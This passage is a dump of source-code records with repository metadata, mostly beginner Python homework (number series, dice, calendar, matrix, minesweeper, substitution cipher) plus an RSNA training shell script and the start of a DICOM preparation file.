elif check_down_series(numbers):\r\n return \"Goes down\"\r\n else:\r\n return \"not rising and not goes down\"\r\n\t\t\t\r\ndef main():\r\n numbers_list = string_to_list(input(\"Please enter numbers : \"))\r\n print(\"the average of numbers is :\" , average(numbers_list))\r\n print(\"The biggest number is {0} and its pos is {1}\".format(large_number(numbers_list),pos_large_number(numbers_list)))\r\n print(\"The smallest number is {0} and its pos is {1}\".format(small_number(numbers_list),pos_small_number(numbers_list)))\r\n print(\"the type of series is :\",check_type_of_series(numbers_list))\r\nmain()\r\n" }, { "alpha_fraction": 0.5192307829856873, "alphanum_fraction": 0.5313765406608582, "avg_line_length": 39, "blob_id": "160c0ed4d69ecf3290a3d88a0981c1b94ebf9976", "content_id": "38febf5815ae735b9b5c07ef09d1b0fb47133a1b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 988, "license_type": "no_license", "max_line_length": 82, "num_lines": 24, "path": "/Introduction to programing/HW2/maxSeries.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\r\n\r\ndef main():\r\n number = 1\r\n average = 0\r\n cell_min = 0\r\n cell_max = 0\r\n i = 0\r\n number = int(input(\"Enter numbers, 0 to stop:\"))\r\n max_num = number\r\n min_num = number\r\n while number != 0: #stop when user enter zero\r\n average += number #sum of all numbers\r\n if number > max_num: #if you have new big number\r\n max_num = number\r\n cell_max = i #get the loaction of new big\r\n if number < min_num: #if you have new small number\r\n min_num = number\r\n cell_min = i #get the loaction of new small\r\n i+=1 #to know how much numbers we have\r\n number = int(input(\"Enter numbers, 0 to stop:\"))\r\n print(\"avarge - \",round(average/i, 2)) #print avarge\r\n print(\"max value is \",max_num ,\"in cell\",cell_max+1)#print Max and loaction\r\n print(\"min value is \",min_num, \"in cell \",cell_min+1)#print Min and loaction\r\n\r\nmain()\r\n" }, { "alpha_fraction": 0.4073319733142853, "alphanum_fraction": 0.4378818869590759, "avg_line_length": 23.842105865478516, "blob_id": "5137fd00674020468999def04580c585a6ec4233", "content_id": "ddf2848b2115d61006fc1b7473c2ea9d68ac5e13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 491, "license_type": "no_license", "max_line_length": 66, "num_lines": 19, "path": "/Introduction to programing/HW1/rectangle.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 2\r\nProgram: rectangle.py\r\n\"\"\"\r\n\r\n\r\ndef main():\r\n length = int(input(\"Please enter the length of rectangle:\"))\r\n ch = input(\"Please enter a character: \")\r\n for i in range(4):\r\n for j in range(length):\r\n if i == 0 or i == 3 or j == 0 or j == length-1:\r\n print(ch,end='')\r\n else:\r\n print(\" \",end=\"\")\r\n print() \r\nmain()\r\n" }, { "alpha_fraction": 0.46560320258140564, "alphanum_fraction": 0.48953139781951904, "avg_line_length": 30.354839324951172, "blob_id": "4b6af6392b0a08e2e983e9c2e182254d0017334f", "content_id": "d19ac1c385236fa194321090c7975428db976ae0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1003, "license_type": "no_license", "max_line_length": 116, "num_lines": 31, "path": "/Introduction to programing/HW2/dice3.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 3\r\nProgram: dice3.py\r\n\"\"\"\r\nimport random\r\n\r\ndef main(): \r\n n = int(input(\"Please enter n: \"))\r\n k = int(input(\"Please enter k: \"))\r\n cnt = 0\r\n my_iter = 0\r\n for i in range(0,n): #run 0 to N\r\n a = random.randint(1, 6) \r\n b = random.randint(1, 6)\r\n c = random.randint(1, 6)\r\n print(a,b,c)\r\n if a == b and b == c and my_iter < k: #check if random numbers equals and my flag(my_iter) small than k \r\n my_iter = i+1 #inc my_iter\r\n cnt +=1 #inc cnt to know how much \"Reached\" we have\r\n \r\n if cnt < k : #lose game Because there is not enough \"Reached\"\r\n print(\"Sorry You Lose :(\")\r\n print(\"Reached\",cnt, \"equal series after\",i+1,\"games\")\r\n else:#win the game\r\n print(\"You Win :D\")\r\n print(\"Reached\",cnt, \"equal series after\",my_iter,\"games\")\r\n \r\n \r\nmain()\r\n" }, { "alpha_fraction": 0.4533333480358124, "alphanum_fraction": 0.5028571486473083, "avg_line_length": 23, "blob_id": "8062a718f4fba79fc59de24a62482376c523e8d9", "content_id": "0ba2239752bbf7737a9360bcd74465ce84667f84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 525, "license_type": "no_license", "max_line_length": 97, "num_lines": 21, "path": "/Introduction to programing/HW5/2.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 1\r\nProgram: 2.py\r\n\"\"\"\r\n\r\ndef myfunc(num):\r\n if num <= 1:#if num < 1 return \"\"\r\n return \"\"\r\n i = 0\r\n for i in range(2,num+1):#run from 2 to num \r\n if num%i == 0:#if num % i is zero\r\n break #stop\r\n return myfunc(num//i)+ str(i) +\"*\"#not get number you find and call to function for another\r\n\r\ndef main():\r\n s=myfunc(180)[:-1]#withut last char ... exam - 1*2*3*4* <--- last char\r\n print(s)\r\n \r\nmain()\r\n" }, { "alpha_fraction": 0.4297945201396942, "alphanum_fraction": 0.47602739930152893, "avg_line_length": 24.545454025268555, "blob_id": "d19fdf02183eb83b9d9e17c080ad82ea79080fb1", "content_id": "90d9255677174c28d13882e052fabb49a0cc1155", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 584, "license_type": "no_license", "max_line_length": 51, "num_lines": 22, "path": "/Introduction to programing/HW1/quadratic.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 5\r\nProgram: quadratic.py \r\n\"\"\"\r\nimport math\r\n\r\ndef main():\r\n a = int(input(\"Enter first parameter (a): \"))\r\n b = int(input(\"Enter first parameter (b): \"))\r\n c = int(input(\"Enter first parameter (c): \"))\r\n if(b**2-4*a*c < 0):\r\n print(\"No Solutions!!\")\r\n return 0 \r\n x1 = (-b-(math.sqrt(b**2-4*a*c)))/2*a\r\n x2 = (-b+(math.sqrt(b**2-4*a*c)))/2*a\r\n if(x1 == x2):\r\n print(\"one solutions: \" ,x1)\r\n else:\r\n print(\"two solutions: \" ,x1,x2)\r\nmain()\r\n" }, { "alpha_fraction": 0.3881118893623352, "alphanum_fraction": 0.42307692766189575, "avg_line_length": 15.875, "blob_id": "67bf9fff8063ad865717272819fd669062e4545d", "content_id": "86c37c22f62a7b6ec2b2f07d26bc3beb125a3ebd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 286, "license_type": "no_license", "max_line_length": 39, "num_lines": 16, "path": "/Introduction to programing/HW1/string.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 3\r\nProgram: string.py\r\n\"\"\"\r\n\r\n\r\ndef main():\r\n name = input(\"Enter your name: \")\r\n for ch in name:\r\n if ch == \" \":\r\n print(end=\"\\n\")\r\n else:\r\n print(ch,end=\"\")\r\nmain()\r\n" }, { "alpha_fraction": 0.6008906960487366, "alphanum_fraction": 0.623501181602478, "avg_line_length": 31.94186019897461, "blob_id": "10abcf902e0367b5c5aa7c8361d1496a41a0f923", "content_id": "0e5c9957c243081ca457bac7cdb97324ca669370", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2919, "license_type": "no_license", "max_line_length": 146, "num_lines": 86, "path": "/Introduction to programing/HW3/calender.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 2\r\nProgram: calender.py\r\n\"\"\"\r\n\r\nMONTH_NUMBER =['January','February','March','April','May','June','July','August','September','October','November','December'] #all the month list\r\nDAYS = ['Su','Mo','Tu','We','Th','Fr','Sa'] #all days list\r\n\r\n#get all days until a month we need this for first day in month\r\ndef get_all_days_until_month(month , year = 0):\r\n\tsum_of_days = 0\r\n\tfor i in range(0,MONTH_NUMBER.index(month)):\r\n\t\tsum_of_days += get_days_in_month(MONTH_NUMBER[i],year)\r\n\treturn sum_of_days\r\n\r\n#get all days until a year we need this for first day in year\r\ndef get_all_days_until_year(year):\r\n\tsum_of_days = 2\r\n\tfor i in range(year-1900):\r\n\t\tif check_leap_year(1900+i):\r\n\t\t\tsum_of_days+=366\r\n\t\telse:\r\n\t\t\tsum_of_days+=365\r\n\treturn sum_of_days\r\n\r\n#check if year is leap year or not\r\ndef check_leap_year(year):\r\n\tis_leap_year = False\r\n\tif (year % 4) == 0: \r\n\t\tif (year % 100) != 0: \r\n\t\t\tis_leap_year = True\r\n\tif (year % 400) == 0:\r\n\t\t\tis_leap_year = True\r\n\treturn is_leap_year\r\n\t \r\n#here we get the first day in month!\r\ndef get_first_day_in_month(year,month):\r\n\tfirst_day = get_all_days_until_year(year) + get_all_days_until_month(month,year) #Connect the days up to that year with the days up to that month\r\n\treturn first_day%7 #here we get the day after after we did his module operation for several days in week\r\n\r\n#print the calender\r\ndef print_days_in_month(day,year,month):\r\n\tcnt = day == 0 and day+7 or day\r\n\tdays = \"\".join([\"{:<4}\"] * len(DAYS)).format(*DAYS) #list have all days in row 1\r\n\tdays += \"\\n\" \r\n\tfor i in range(1,cnt):\r\n\t\tdays+=\"{:<4}\".format(\"\") #Print earnings until the day the month begins\r\n\tfor j in range(1,get_days_in_month(month,year)+1):\r\n\t\tdays+=\"{:<4}\".format(j)#print all days in month\r\n\t\tif(cnt%7==0): #new line after 7 print\r\n\t\t\tdays+=\"\\n\"\r\n\t\tcnt +=1\r\n\tprint(days)#print all list\r\n \r\n #check wrong input\r\ndef check_for_wrong_input(year,month):\r\n return year >= 1900 and get_days_in_month(month,year)\r\n\t\r\ndef get_days_in_month(month,year):#Used to get number days in year and check if the month user input is illegal\r\n if month in ['September', 'April', 'June', 'November']:\r\n return 30\r\n \r\n elif month in ['January', 'March', 'May', 'July', 'August','October','December']:\r\n return 31 \r\n\r\n elif month == 'February' and check_leap_year(year) == True:\r\n return 29\r\n\r\n elif month == 'February' and check_leap_year(year) == False:\r\n return 28\r\n\r\n else:\r\n return 0 #month user input is illegal\r\n\r\ndef main():\r\n\tyear = int(input(\"Enter Year :\"))\r\n\tmonth = input(\"Enter Month :\")\r\n\tif (not check_for_wrong_input(year,month)):\r\n\t\tprint(\"check your year or month input and try again :D\")\r\n\t\treturn 0\r\n\tfirst_day = get_first_day_in_month(year,month)\r\n\tprint_days_in_month(first_day,year,month)\r\n\r\nmain()\r\n" }, { "alpha_fraction": 0.5343065857887268, "alphanum_fraction": 0.5479318499565125, "avg_line_length": 34.05263137817383, "blob_id": "b3690f50db4f436618c3edce30d8c8580c691825", "content_id": "218ff2e93097c2b5309c3817882aace25b258ee9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2055, "license_type": "no_license", "max_line_length": 149, "num_lines": 57, "path": "/Introduction to programing/HW3/matrix.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 3\r\nProgram: matrix.py\r\n\"\"\"\r\n\r\n#MatT in list comprehension \r\ndef matT_comprehension(mat):\r\n return [[matTest[i] for matTest in mat]for i in range(len(mat[0]))]\r\n\r\n#MatT in list regular loop \r\ndef matT_loop(mat):\r\n matT = []\r\n for i in range(0,len(mat[0])):\r\n matN = [] #new mat\r\n for j in range(0,len(mat)):\r\n matN.append(mat[j][i])#fill mat\r\n matT.append(matN)#append new mat to the list of lists\r\n return matT\r\n\t \r\n#read matrix from file\r\ndef read_matrix_from_file():\r\n f = open(\"matrices.txt\",\"r\")#open file in read mode\r\n s = f.read()[2:].split(\"B=\")#get two lists\r\n s = [st.split(\"\\n\") for st in s] #split where have \\n \r\n matA = [line.split() for line in s[0] if line] #split where have space \r\n matB = [line.split() for line in s[1] if line] #split where have space \r\n matA = [[int(matA[i][j]) for j in range(0,len(matA[0]))] for i in range(0,len(matA))] #all items in list is chars now we change the type to int\r\n matB = [[int(matB[i][j])for j in range(len(matB[0]))]for i in range(len(matB))] #all items in list is chars now we change the type to int\r\n return matrix_mult(matA,matB)#call to mutrix_mult func\r\n \r\ndef matrix_mult(matA,matB):\r\n matD = []\r\n sum_cnt = 0\r\n matA = matT_loop(matA) #get matA to MataT\r\n for i in range(0,len(matA)):\r\n matC = []#new mat\r\n for j in range(0,len(matA)):\r\n sum_cnt = 0\r\n for k in range(0,len(matA[0])):\r\n sum_cnt+= matA[i][k]*matB[k][j] #mult matrix here!\r\n matC.append(float(sum_cnt))\r\n matD.append(matC)#append to list of lists\r\n return matD\r\n\t \r\n#print mutrix in format\r\ndef print_matrix(mat):\r\n r = \"\"\r\n for item in mat:\r\n r += \"\".join(str(x)+\" \" for x in item)+\"\\n\"\r\n return r[:-1]\r\n\t \r\ndef main():\r\n res = print_matrix(read_matrix_from_file())\r\n print(res)\r\nmain()\r\n" }, { "alpha_fraction": 0.46250656247138977, "alphanum_fraction": 0.477189302444458, "avg_line_length": 45.67499923706055, "blob_id": "465d6fa668d50dfaac72cc5551f4a425948aa6c4", "content_id": "54082177850136da15b2385fedad67ceabcbca58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1907, "license_type": "no_license", "max_line_length": 125, "num_lines": 40, "path": "/Introduction to programing/HW2/triangle.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 4\r\nProgram: triangle.py\r\n\"\"\"\r\n\r\n\r\n\r\ndef main():\r\n height = int(input(\"Enter height: \"))\r\n dollars = int(input(\"Enter number of $: \"))\r\n spaces = int(input(\"Enter number of spaces: \"))\r\n cnt_dollars = dollars #counter to know how much $ print \r\n cnt_spaces = 0 #counter to know how much space print\r\n if height <2: #check if the triangle small than 2\r\n print(\"Wrong input please try again :D !\")\r\n return #stop the program\r\n for i in range(0,height): #run all rows\r\n for j in range(i,height): #run colums\r\n print(\" \",end=\"\") #print height-i spaces \r\n print(\"*\" , end=\"\")#print only one *\r\n for j in range(0,i*2-1):#run colums again\r\n if i == height-1 : #for colum number one we need only one *\r\n print(\"*\",end=\"\")\r\n else: # The other situations that need to be in either $ or space\r\n if cnt_dollars: #check if counter of $ true\r\n print(\"$\",end=\"\") #print $\r\n cnt_dollars-=1 #Subtract from counter of dollar 1\r\n cnt_spaces = cnt_dollars == 0 and spaces or 0 #If the dollar counter is zero we move to spaces\r\n else: \r\n print(\" \",end=\"\") # print space\r\n cnt_spaces -=1 #Subtract from counter of space 1\r\n cnt_dollars = cnt_spaces ==0 and dollars or 0 #If the spaces counter is zero we move to dollars\r\n \r\n if(j == i*2-2): #this for all right side rectangle and for the bottom of rectangle\r\n print(\"*\",end=\"\")\r\n \r\n print()#new line\r\nmain()\r\n" }, { "alpha_fraction": 0.2866556942462921, "alphanum_fraction": 0.3031301498413086, "avg_line_length": 31.38888931274414, "blob_id": "c304abf742f1a8bc320939e1b8bea98dc660fafc", "content_id": "344831ca7df86c497b2214b0315b9d0b94184646", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 607, "license_type": "no_license", "max_line_length": 54, "num_lines": 18, "path": "/Introduction to programing/HW1/digits.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\r\n\r\n\r\ndef main():\r\n num = input(\"Enter a 4-digit number: \")\r\n if len(num) != 4:\r\n print(\"Error ! Your number is illegal ...\")\r\n return 0\r\n for i in range(6):\r\n for j in range(4):\r\n if(i==0):\r\n print(num[3-j],' ',end=\"\")\r\n elif(i>0 and i<5):\r\n if(j==4-i):\r\n print(num[j],end=\"\")\r\n else:\r\n print(\" \",end=\"\")\r\n else:\r\n print(num[j],\" \",end=\"\") \r\n print()\r\nmain()\r\n" }, { "alpha_fraction": 0.49865952134132385, "alphanum_fraction": 0.5335120558738708, "avg_line_length": 17.63157844543457, "blob_id": "2b44e1880bf9013c41ec065888d3d0348a75607f", "content_id": "631383f12683b9f107755c37de08e1eea54542b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 373, "license_type": "no_license", "max_line_length": 73, "num_lines": 19, "path": "/Introduction to programing/HW1/freefall.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 1\r\nProgram: freefall.py\r\n\"\"\"\r\nimport math\r\n\r\n\r\n\r\ndef main():\r\n G = 9.8\r\n height = input(\"Please enter the height : \")\r\n x = (2*int(height)) / G\r\n t = math.sqrt(x)\r\n v = G * t\r\n print(\"The time it takes for the stone to reach the floor is - \",t)\r\n print(\"damage speed is : \",v)\r\nmain()\r\n" }, { "alpha_fraction": 0.47133758664131165, "alphanum_fraction": 0.47983014583587646, "avg_line_length": 33.769229888916016, "blob_id": "6a6ed2fb77716716697e83531341eccd1c8fabac", "content_id": "694348c84a8e7ddb4324dd4f4c5880c05f5e094d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 471, "license_type": "no_license", "max_line_length": 67, "num_lines": 13, "path": "/Introduction to programing/HW2/sentence 5.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\r\n\r\n\r\ndef main():\r\n sentance = input(\"Please enter a sentence: \")\r\n words = 1\r\n for i in range(0,len(sentance)): #run all chars in \"sentance\"\r\n if sentance[i] == \" \": #if this char equals to space \r\n print() #new line\r\n words+=1 #counter words inc +1\r\n else:\r\n print(sentance[i],end=\"\") #print char\r\n \r\n print(\"\\nThere are\" ,words, \"words in: \" ,sentance)\r\n\r\nmain()\r\n" }, { "alpha_fraction": 0.5126782655715942, "alphanum_fraction": 0.5330163836479187, "avg_line_length": 33.3831787109375, "blob_id": "f1eaaaff495901f5b83ff006debfd68be84153e6", "content_id": "7eecc08d9b438a667311a90c9585cb766ae23efd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3786, "license_type": "no_license", "max_line_length": 96, "num_lines": 107, "path": "/Introduction to programing/HW5/3.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 1\r\nProgram: 3.py\r\n\"\"\"\r\n\r\n\r\nimport random\r\n\r\n#print the board\r\ndef printBoard(arr,win=False):\r\n for i in range(1, len(arr)-1):\r\n print(\" +\"+(len(arr)-2)*\"---+\", end=\"\")\r\n print(\"\\n{:<2}\".format(i), end=\" \")\r\n for j in range(1, len(arr)):\r\n print(\"|\", end=\"\")\r\n if not j == len(arr):\r\n if (arr[i][j] != \"*\" or win):\r\n print(\" {0} \".format(arr[i][j]), end=\"\")\r\n else:\r\n print(\" {0} \".format(\" \"), end=\"\")\r\n print()\r\n print(\" +\"+(len(arr)-2)*\"---+\",end=\"\\n \")\r\n for j in range(1, len(arr)-1):\r\n print(\"{:>4}\".format(j), end=\"\")\r\n print()\r\n \r\ndef create_random_list(bombs, n):\r\n grip = [[' ' for i in range(0, n)] for j in range(0, n)]#create marix N+2 X N+2 \r\n rndi = random.randint(1, n - 2) #rnd i cord\r\n rndj = random.randint(1, n - 2) #rnd j cord\r\n for i in range(0, bombs):\r\n while grip[rndi][rndj] == \"*\": #if have bomb there\r\n rndi = random.randint(1, n - 2)#again rnd i\r\n rndj = random.randint(1, n - 2)#again rnd j\r\n grip[rndi][rndj] = \"*\"\r\n return grip #return matrix\r\n\r\n#check how much bombs around\r\ndef update_number_of_bomp_around(arr,i,j):\r\n sum_bomb = 0\r\n my_check = 1\r\n for k in range(0,3):\r\n for l in range(0,3):\r\n if arr[k+i-1][l+j-1] == \"*\": #if find bomb\r\n sum_bomb +=1 \r\n my_check = 0\r\n arr[i][j] = sum_bomb\r\n return my_check #return for stop recursiv not\r\n\r\n#check if board is full\r\ndef check_for_full_board(arr):\r\n sum_col_full=0\r\n for i in arr:\r\n if not (\" \" in i[1:-1]):#if have \" \" in list\r\n sum_col_full+=1 \r\n return sum_col_full == (len(arr)) #if len of list\r\n\r\n#recursive for all space\r\ndef recursive(arr,i,j):\r\n movelist = [(1,0),(-1,0),(0,1),(0,-1)] #list of (x,y) \r\n if i <1 or i >len(arr)-2 or j<1 or j>len(arr)-2 :#if we out of list range return\r\n return 1\r\n if arr[i][j] ==\"*\": #if we are on bomb return 0\r\n return 0\r\n if arr[i][j] == \"-\" or not arr[i][j]==' ': #if we stepped again\r\n return 1\r\n arr[i][j] = \"-\" #stepped to know we were here\r\n for k,l in movelist:#run all list (x,y)\r\n if(update_number_of_bomp_around(arr,i,j)):#update and check if have bombs around\r\n recursive(arr,i+k,j+l)#call to recursive func with new cord\r\n return 1\r\n\r\n#print the result\r\ndef check_res(arr,win):\r\n if(win):#win\r\n print(\"you Won the Game!!!\")\r\n print(\"your Board:\")\r\n printBoard(arr,True)\r\n else:#lose\r\n print(\"you Lose the Game!!!\")\r\n print(\"Try Again\")\r\n print(\"your Board:\")\r\n printBoard(arr,True)\r\n\r\ndef main():\r\n Bombs = int(input(\"Enter number of bombs: \"))#enter number of bombs\r\n Game_Bord = int(input(\"Enter NxN: \"))#size Board\r\n while Bombs >= Game_Bord*2:#check if number of bombs small than sizeBoard*2\r\n print(\"U need less bombs\")\r\n Bombs = int(input(\"Enter number of bombs: \"))\r\n Game_Bord = int(input(\"Enter NxN: \"))\r\n arr = create_random_list(Bombs,Game_Bord+2)#create new list with random bombs\r\n check_win = 1#if we lose the game be 0\r\n winner = 0 #if we win the game be 1\r\n while check_win and not winner: #check if we win or lose the while stop\r\n printBoard(arr)\r\n x = int(input(\"Enter cord x: \"))\r\n y = int(input(\"Enter cord y: \"))\r\n check_win = recursive(arr,x,y)#call to recursive func if return 0 lose\r\n winner = check_for_full_board(arr[1:-1])#check if board is full and return 1 if its true\r\n if not check_win:#lose\r\n check_res(arr,check_win)\r\n else:#win\r\n check_res(arr,winner)\r\nmain()\r\n" }, { "alpha_fraction": 0.5473160147666931, "alphanum_fraction": 0.5575539469718933, "avg_line_length": 33.087379455566406, "blob_id": "510c4bcd9a8a1f950788ada3718bc3507673527f", "content_id": "6cbab9760fb3691a0047e1c0cea12edf6f09d081", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3614, "license_type": "no_license", "max_line_length": 100, "num_lines": 103, "path": "/Introduction to programing/HW4/crypto/crypto.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 1\r\nProgram: encrypt.py\r\n\"\"\" \r\n\r\nimport random\r\n\r\n#create dict with key(alphabeta) and values(from text) or zero\r\ndef create_dict_key_value(s = \"\"):\r\n dic_alphabet = {}\r\n j=0\r\n for i in range(97,123):\r\n dic_alphabet[chr(i)] = 0\r\n if s != \"\": #if this from text\r\n for k in dic_alphabet.keys():\r\n dic_alphabet[k] = s[j] #enter from text to dict \r\n j+=1\r\n return dic_alphabet\r\n\r\n#create keys randoms to dict(alphabet) \r\ndef create_key():\r\n f = open(\"key.txt\",\"w\")\r\n dic_alphabet = create_dict_key_value() #create dict(alphabet) \r\n rnd_alphabet = 0\r\n for k in dic_alphabet.keys(): #run all keys \r\n while rnd_alphabet in dic_alphabet.values(): #check if random key is in dict \r\n rnd_alphabet = chr(random.randint(97,122))#if yes choose another\r\n dic_alphabet[k] = rnd_alphabet #found \r\n f.write(\"\".join(dic_alphabet.values()))#write to file \r\n f.close()\r\n\r\n#get text from file and encrypt to another file\r\ndef encrypt_text():\r\n f = open(\"plaintext.txt\",\"r\")#to encrypt\r\n f2 = open(\"key.txt\",\"r\") #keys\r\n f3 = open(\"ciphertext.txt\",\"w\")#encrypted\r\n st = [ch.lower() for ch in \"\".join(f.readlines())]#get the text from file\r\n st = list(st)#convert to list\r\n dic_alphabet = create_dict_key_value(f2.readline()) #create dict(alphabet) with keys from file\r\n for i in range(len(st)):\r\n if st[i].isalpha():\r\n st[i] = dic_alphabet[st[i]] #encrypt \r\n f3.write(\"\".join(st))#write to file\r\n f3.close()\r\n f2.close()\r\n f.close()\r\n\r\n#here the function get value and dic and return the key of this value!\r\ndef get_key_by_value(dic,value):\r\n search = 0\r\n for k,v in dic.items():\r\n if v == value: #found value\r\n search = k #get the key\r\n break\r\n return search\r\n\r\n#decerypt from ciphertext.txt to another decrypted.txt\r\ndef decrypt_text():\r\n f = open(\"ciphertext.txt\",\"r\")\r\n f2 = open(\"key.txt\",\"r\")\r\n f3 = open(\"decrypted.txt\",\"w\")\r\n dic_alphabet = create_dict_key_value(f2.readline())#create dict(alphabet) with keys from file\r\n st = [ch for ch in \"\".join(f.readlines())] #get all text from file\r\n st = list(st) #text to list\r\n for i in range(len(st)):\r\n if st[i].isalpha():# if is alpha ..\r\n st[i] = get_key_by_value(dic_alphabet,st[i]) #here we get value and find the key\r\n f3.write(\"\".join(st))#write to file ..\r\n f3.close()\r\n f2.close()\r\n f.close()\r\n \r\n#for check what user choose\r\ndef check_choose(c):\r\n if c ==\"k\":\r\n create_key()\r\n print(\"Succsessful, your key found in key.txt\")\r\n elif c == \"e\":\r\n encrypt_text()\r\n print(\"Succsessful, your Encrypt found in ciphertext.txt\")\r\n elif c == \"d\":\r\n decrypt_text()\r\n print(\"Succsessful, your Decrypt found in decrypted.txt\")\r\n else:\r\n print(\"Thank You And Good Bye :D\")\r\n exit()\r\n\r\n#menu for user ..\r\ndef menu():\r\n print(\"|Welcome to Crypto|\")\r\n print(\"k - Create Key\")\r\n print(\"e - Encrypt Text From plaintext.txt To ciphertext.txt\")\r\n print(\"d - Decrypt Text From ciphertext.txt to decrypted.txt\")\r\n print(\"another - Exit\")\r\n print(\"[To choose, click on one of the options and Enter]\")\r\n user_choose = input(\"Your Choose Is : \")\r\n return user_choose\r\n\r\ndef main():\r\n check_choose(menu())\r\nmain()\r\n" } ]
18
hbcho87/rsna
https://github.com/hbcho87/rsna
27361caaa8b12b2807ff7bb73f588163ffd884d9
2c66fcde64fdd3fab2f313f5b939086a477cb680
bd9332faeda671a5e4f0e2f757316d70c49d6eb7
refs/heads/master
2022-08-11T02:17:51.747759
2020-05-18T09:41:07
2020-05-18T09:41:07
256,373,407
0
0
null
2020-04-17T01:45:44
2020-04-11T09:41:21
2019-11-27T11:58:34
null
[ { "alpha_fraction": 0.6053351759910583, "alphanum_fraction": 0.6655266880989075, "avg_line_length": 34.65853500366211, "blob_id": "c72b6a546db0f26add8dce3350fe5a3da5626999", "content_id": "49b8f2aebeb7a24872549f37026f8906314a6845", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1462, "license_type": "no_license", "max_line_length": 135, "num_lines": 41, "path": "/bin/run_21_trainsngl_e2e.sh", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "#!/bin/bash\nsource /home/hbcho/anaconda3/etc/profile.d/conda.sh\nconda activate torch_110\n\nexport CUDA_VISIBLE_DEVICES=1,2,3,4,5:\n\nN_GPU=4\nWDIR='resnext101v03'\nFOLD=6\nSIZE='480'\n\n# Run image classifier for all with cropping (~20 hours)\ncd ../\n\npython3 scripts/trainorig.py --rootpath \"/data/hbcho/rsna-master\"\\\n --logmsg Rsna-lb-$SIZE-fp16 --start 0 --epochs 3 --fold $FOLD --lr 0.00002 --batchsize 64 --workpath ../scripts/$WDIR \\\n --imgpath /data/proc/ --size $SIZE --weightsname weights/model_512_resnext101$FOLD.bin --autocrop T\n\n\n\n# Extract embeddings for each epoch - no TTA (~15 hours)\npython3 scripts/trainorig.py --rootpath \"/data/hbcho/rsna-master/\" \\\n --logmsg Rsna-lb-$SIZE-fp16 --start 0 --epochs 3 --fold $FOLD --lr 0.00002 --batchsize 64 --workpath /scripts/$WDIR \\\n --hflip F --transpose F --infer EMB --imgpath /data/proc/ --size $SIZE \\\n --weightsname weights/model_512_resnext101$FOLD.bin\n\n\n\n# Run LSTM for each of the epochs (~2 hours)\nN_GPU=1\n# These steps can run in parallel\nfor GEPOCH in 0 1 2 \ndo \n python3 scripts/trainlstm.py \\\n --logmsg Rsna-lstm-$GEPOCH-$FOLD-fp16 --epochs 12 --fold $FOLD --lr 0.00001 --batchsize 4 --workpath ../scripts/$WDIR \\\n --size $SIZE --ttahflip F --ttatranspose F --lrgamma 0.95 --nbags 12 --globalepoch $GEPOCH --loadcsv F --lstm_units 2048\ndone\n\n\n# Create Bagged Submission\n#python3 scripts/bagged_submission.py\n" }, { "alpha_fraction": 0.6222178339958191, "alphanum_fraction": 0.6377186179161072, "avg_line_length": 29.50303077697754, "blob_id": "7f94eaf18d98c2099dd38a8578e21e97fee23ab1", "content_id": "bf7a5797ac727e3fdfc492428bf055328f098f9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5032, "license_type": "no_license", "max_line_length": 117, "num_lines": 165, "path": "/scripts/prepare_meta_dicom.py", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "import os\nimport pickle\nimport random\nimport glob\nimport datetime\nimport pandas as pd\nimport numpy as np\nimport torch\nimport cv2\nimport pydicom\nfrom tqdm import tqdm\nfrom joblib import delayed, Parallel\nimport zipfile\nfrom pydicom.filebase import DicomBytesIO\nimport sys\nsys.path.insert(0, 